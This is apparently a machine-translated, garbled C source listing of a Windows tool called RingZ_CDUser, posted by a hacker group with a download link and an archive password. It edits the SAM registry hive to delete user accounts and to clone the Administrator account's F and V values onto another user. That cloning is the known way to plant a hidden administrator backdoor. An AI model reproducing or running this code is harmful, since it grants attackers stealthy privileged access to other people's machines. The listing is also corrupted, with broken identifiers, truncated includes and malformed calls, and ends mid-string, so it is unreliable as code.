Code: clone / delete any user (RingZ_CDUser) Author: dahubaobao home page: http: //www.ringz.org-mail: dahushibaobao@vip.sina.com QQ: 382690EXE in compressed package, extract the password: www.ringz.org http : //dahubaobao.go.nease.net/ringz_cduser.rar Welcomes the community of the ring area, a group of technologies, www.ringz.org welcomes you! ============================================================================================================================================================================================================= ================== # include 40) User (user); "Error / N"); Break;}}}} void SID (Char * SID) {HKEY HKEY; DWORD RET; Char C_SID [10]; ZeromeMory (C_SID, 10); STRCPY (C_sid, "00000"); // Pack the top 5 STRCAT (C_SID, SID) in the SID; // Transfer the remaining 3 bits, and continue to populate // open the registry, success return value 0 (success) Ret = regopenkey (HKEY_LOCAL_MACHINE, // Root button name or opened handle "SAM // SAM // Domains // Account //////////> I want to open the item name & hkey); // Load the handle IF (RET == Error_Success); Elsereturn 0; // Delete SID, success return value 0 (success) RET = regdeletekey (HKEY, C_SID); if (RET == Error_Success) Printf ("Success Delete Key (SID) / N" ); // Print success message else {printf ("delete key fail (SID) / N"); // Print failed message return 0;} regclosekey (HKEY); // Close the registry key} Void User ( Char * user) {hkey hkey; dword ret; char c_user [40]; zeromemory (c_user, 40); strcpy (c_user, "); strcat (c_user, user); RET = regopenkey (HKEY_LOCAL_MACHINE," SAM // SAM // Domains // Account /////// name // ", & hkey); if (RET == Error_Success); Elsereturn 0; Ret = RegdeleteKey; if (Ret == Error_Success) Printf (" Success Delete Key / N "); Else {Printf (" Delete Key Fail (User) / N "); RETURN 0;} regcloseKey (HKEY);} void OpenKey (char * key) {hk Ey HKey; DWORD DWINDEX = 0, LPCBNAME = 100, RET = 0; Char T_Name [100], Buffer [100]; Filetime LPFTLAST; INT i = 0; ZeromeMory; ZeromeMory (T_Name, 100); ZeromeMory (Name, 1500); regopenkeyex (HKEY_LOCAL_MACHINE, / / root key name or open handle key, // pass a parameter, the registry key 0, // unused, set to 0 Key_All_Access, / / One or more constants with prefix KEY_??. // The combination describes which operations allow for this item & HKEY); for (i = 0; RET == Error_suCcess; i , dwindex ) {RET = RegenkeyEx (HKEY, DWINDEX, T_NAME, & LPCBNAME, NULL, NULL, NULL , & lpftlast); // dwindex: The index of the child wants to get. The index number of the first child is zero // t_name: a buffer for loading the item name of the specified index // & lpcbname: Specifies a variable to load the actual length (including empty characters) of the LPNAME buffer. / / Once returned, it is set to the number of characters loaded to the LPNAME buffer // null: Unused, set to zero // Null: Item Used class name // null: One for loading LPCLASS buffer length Variable // & lpftlast: FileTime, the number of time STRCAT (Name [i], t_name); zeromeMory (t_name, 100); lpcbname = 100;} regclosekey (HKEY); // Stitching user name for ( Keyn = 0; Keyn "); Printf ("% s ", TEMP); Viewuser (buffer); strcpy (buffer," sam // sam // domains // a ////// names // ") } return 1;} int clone (char * c_sid) {hkey hkey, c_hkey; dword type = reg_binary, sizef = 1024 * 2, sizev = 1024 * 10, Ret; Char Clones [100]; lpbyte lpdataf, lpdatav; lpdataf = (Lpbyte) Malloc (1024 * 2); lpdatav = (lpbyte) Malloc (1024 * 10); ZeromeMory (LPDATAF, 1024 * 2); ZeromeMory (LPDATAV, 1024 * 10); ZeromeMory (ClonesiD, 100); strcpy ClonesiD, "Sam // Sam // Domains // Account // UserS // 00000"); strcat (clonesid, c_sid); ret = regopenkeyex (HKEY_LOCAL_MACHINE, " Sam // sam // Domains // Account // UserS // 000001F4 ", 0, Key_all_Access, & HKey); if (RET == Error_Success); Elsereturn 0; Ret = RegQueryValueex (HKEY," F ", NULL, & TYPE, LPDATAF, & SIZEF; if (RET == Error_Success); Elsereturn 0; Ret = RegQueryValueex (HKEY, "V", NULL, & TYPE, LPDATAV, & SIZEV); if (RET == Error_Success); Elsereturn 0; Ret = RegopenKeyex HKEY_LOCAL_MACHINE, Clonesi, 0, Key_all_access, & c_hkey); if (Ret == Error_Success); Elsereturn 0; Ret = RegSetValueex (c_hKey, "F", 0, REG_BINARY, LPDATAF, SIZEF); // c_hkey: Root button name Open the handle // "f": Name // 0: Unused, set to zero // reg_binary: The number of types to set // lpdataf: The first byte in the buffer containing the data // sizef: LPDATA buffer length IF (RET == Error_Success); Elsereturn 0; RET = RegSetValueEx (C_HKEY, "V", 0, REG_BINARY, LPDATAV, SIZEV); if (Ret == Error_Success) Printf ("Clone User Success / N "); Else {Printf (" Clone User Fail / N "); Return 0;} regcloseKey (HKEY); RegcloseKey (C_HKEY); Return 1;} void usage (void) {fprintf (stderr," = ============================================================================================================================================================================================================= ============================= / n "" / t clone / delete any user / n "" / T environment: Win2K Adv Server Visual C 6.0 / n "" / t author: dahubaobao / n "" / T Home: www.ringz.org/; n "" / toicq: 382690 / n "" / t mail: dahubaobao@hotmail.com/n "" / T declaration: this post was originally created by the loop (Ringz), reprinted Please indicate the source,